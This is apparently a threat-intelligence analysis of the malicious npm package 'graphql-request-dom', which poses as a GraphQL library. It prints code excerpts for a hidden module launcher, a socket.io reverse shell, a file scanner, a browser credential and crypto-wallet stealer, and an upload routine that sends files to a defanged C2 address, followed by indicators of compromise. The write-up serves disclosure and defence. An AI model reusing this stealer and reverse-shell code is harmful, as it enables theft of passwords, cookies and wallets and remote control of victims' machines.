npm-graphql-001 high by Paul Newton

graphql-request-dom — Info Stealer & RAT

Malicious package masquerading as a GraphQL library. On install it spawns four hidden modules: a reverse shell via socket.io, a browser credential stealer, a recursive file scanner, and a clipboard monitor. Stolen data and files are exfiltrated to a Hetzner-hosted C2 at 188[.]40[.]64[.]61 across three separate ports. At this time, the package appears to have no downloads.

Package

Name

graphql-request-dom

Version

1.0.4

Published by

djohnson1014

View on NPM

Threat Actor

Unknown

Tags

#npm #malware #info-stealer #RAT #crypto-theft

Overview

This package exhibits multiple indicators of malicious intent: (1) Deliberately obfuscated code with infinite loop constructs designed to evade analysis; (2) Silent process execution with detached stdio and windowsHide flags indicating stealth; (3) Hardcoded references to cryptocurrency wallet extension IDs (MetaMask, Trust Wallet, etc.) and browser data paths indicating credential and wallet theft; (4) Silent exception handlers that suppress all errors; (5) Network exfiltration to external IP 188[.]40[.]64[.]61 sending system information and command execution results. The package masquerades as a GraphQL library but contains a remote command execution RAT with cryptocurrency wallet targeting capabilities.

Variables Defined — C2 Configuration

The first section defines the C2 IP and ports, as well as spawning the four malicious modules. The IP used as the C2 is hosted at Hetzner, with separate ports for the reverse shell, file transfer, and credential stealer. All modules are spawned as hidden, detached child processes with stdio suppressed.

Entry point — C2 constants and module launcher

"use strict";

const os = require("os");
const fs = require("fs");
const { spawn } = require("child_process");

// Configuration Constants
const C2_SERVER = "188[.]40[.]64[.]61";
const VICTIM_ID = "be330a3bde86ced606fa9fdc8ff43bb2";
const PORT_SHELL = 6292;
const PORT_FILES = 6296;
const PORT_STEALER = 6299;
const USER_KEY = 101;

// Ignore errors to keep the script running silently
process.on("uncaughtException", () => {});
process.on("unhandledRejection", () => {});

async function startMalware() {
    runModule(serverCode);   // Module 1: RAT
    runModule(lscript);      // Module 2: Browser Stealer
    runModule(script);       // Module 3: File Scanner
    runModule(cs);           // Module 4: Clipboard Monitor
}

function runModule(code) {
    try {
        spawn("node", ["-e", code], {
            windowsHide: true,
            detached: true,
            stdio: "ignore"
        });
    } catch (e) {}
}

startMalware();

Socket Creation — Reverse Shell

The socket.io client module is imported and used to establish a persistent bidirectional connection to the C2. socket.io is a popular tool used heavily in phishing campaigns for adversary-in-the-middle attacks, but here it is repurposed as a C2 channel. The client waits for a "command" event from the server, executes it via exec(), and returns the output back to the attacker alongside the victim ID.

Module 1 — reverse shell via socket.io

const axios = require('axios');
const socketIO = require('socket.io-client');
const { exec } = require('child_process');

const socket = socketIO(`http://${C2_SERVER}:${PORT_SHELL}`);

// Listen for remote commands from the attacker
socket.on('command', (data) => {
    exec(data.command, { maxBuffer: 1024 * 5000 }, (error, stdout, stderr) => {
        // Send the output of the command back to the attacker
        socket.emit('result', {
            result: error ? error.message : (stderr || stdout),
            uid: VICTIM_ID,
            id: data.id
        });
    });
});

File Scanner

This module recursively scans the filesystem for files matching a list of sensitive extensions — documents, keys, environment files, and scripts. On Windows it first enumerates all drive letters and scans each one in full. Matched files are uploaded to the C2. The code also contains a clipboard monitor (not shown) that captures clipboard content and forwards it to the attacker.

Module 3 — recursive file scanner

const searchExtensions = [
    ".docx", ".pdf", ".txt", ".xlsx", ".secret", ".key", ".env", ".sol", ".js", ".py"
];

async function scanDirectory(dir) {
    const files = fs.readdirSync(dir);
    for (const file of files) {
        const fullPath = path.join(dir, file);
        const stats = fs.statSync(fullPath);

        if (stats.isDirectory()) {
            if (!isExcluded(file)) await scanDirectory(fullPath);
        } else {
            if (searchExtensions.some(ext => file.endsWith(ext))) {
                await uploadToAttacker(fullPath);
            }
        }
    }
}

// On Windows, enumerate all drive letters and scan each
if (os.platform() === 'win32') {
    const drives = execSync('wmic logicaldisk get name').toString().split('\n');
    drives.forEach(drive => {
        if (drive.trim()) scanDirectory(drive.trim() + "\\");
    });
}

Crypto Wallet & Browser Credential Stealer

This module targets over 30 cryptocurrency wallet browser extensions by their Chrome extension IDs, including MetaMask, Phantom, and Binance. It also directly lifts browser credential databases (Login Data, Cookies, Web Data) from Chrome, Brave, and Edge profiles. All matched paths are uploaded to the C2's file stealer port.

Module 2 — browser credential and wallet stealer

const fs = require('fs');
const path = require('path');
const FormData = require('form-data');

// Targeted Wallet Extensions (MetaMask, Phantom, etc.)
const walletExtensions = [
    "nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
    "bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom
    "fhbohimaelbohpjbbldcngcnapndodjp", // Binance
    // ... (30+ others)
];

async function stealBrowserData() {
    const localAppData = process.env.LOCALAPPDATA;
    const targets = [
        path.join(localAppData, "Google/Chrome/User Data"),
        path.join(localAppData, "BraveSoftware/Brave-Browser/User Data"),
        path.join(localAppData, "Microsoft/Edge/User Data")
    ];

    for (let profilePath of targets) {
        // Upload Login Data (Passwords), Cookies, and Web Data (Credit Cards)
        await uploadFile(path.join(profilePath, "Default/Login Data"));
        await uploadFile(path.join(profilePath, "Default/Cookies"));

        // Scan for Wallet Extension Local Storage
        walletExtensions.forEach(ext => {
            const extPath = path.join(profilePath, `Default/Local Extension Settings/${ext}`);
            if (fs.existsSync(extPath)) {
                uploadFolder(extPath);
            }
        });
    }
}

File Upload — Exfiltration

All stolen files are sent to the C2 via HTTP POST to the /upload endpoint on port 6299. Each request includes the victim's hostname, username, and source file path as headers, giving the attacker full context for every stolen file. A user key (101) is also attached, suggesting the C2 tracks victims by ID.

Exfiltration — file upload to C2

const uploadBrowserFile = async (filePath, remotePath) => {
    if (!fs.existsSync(filePath)) return;

    const form = new FormData();
    form.append('file', fs.createReadStream(filePath));

    try {
        await axios.post('http://188[.]40[.]64[.]61:6299/upload', form, {
            headers: {
                ...form.getHeaders(),
                'userkey': '101',
                'hostname': os.hostname(),
                'username': os.userInfo().username,
                'path': remotePath,
                't': '1'
            }
        });
    } catch (e) {}
};

Indicators of Compromise

Malicious Packages

Package Version Author Notes
graphql-request-dom 1.0.4 djohnson1014 Info stealer and RAT; spawns reverse shell, file scanner, browser credential stealer, and clipboard monitor

Domains

Domain Type Context
188[.]40[.]64[.]61 C2 Hetzner-hosted C2 server — hosts reverse shell, file transfer, and credential upload endpoints

URLs

URL Context
hxxp://188[.]40[.]64[.]61:6292 Reverse shell — socket.io command and control channel
hxxp://188[.]40[.]64[.]61:6296 File transfer port
hxxp://188[.]40[.]64[.]61:6299/upload Credential and file exfiltration upload endpoint

Targeted File Paths

Path Context
%LOCALAPPDATA%/Google/Chrome/User Data/Default/Login Data Chrome saved passwords database
%LOCALAPPDATA%/Google/Chrome/User Data/Default/Cookies Chrome cookies database
%LOCALAPPDATA%/BraveSoftware/Brave-Browser/User Data/Default/Login Data Brave saved passwords database
%LOCALAPPDATA%/BraveSoftware/Brave-Browser/User Data/Default/Cookies Brave cookies database
%LOCALAPPDATA%/Microsoft/Edge/User Data/Default/Login Data Edge saved passwords database
%LOCALAPPDATA%/Microsoft/Edge/User Data/Default/Cookies Edge cookies database
%LOCALAPPDATA%/<browser>/User Data/Default/Local Extension Settings/<wallet-id> Cryptocurrency wallet extension local storage (MetaMask, Phantom, Binance, 30+ others)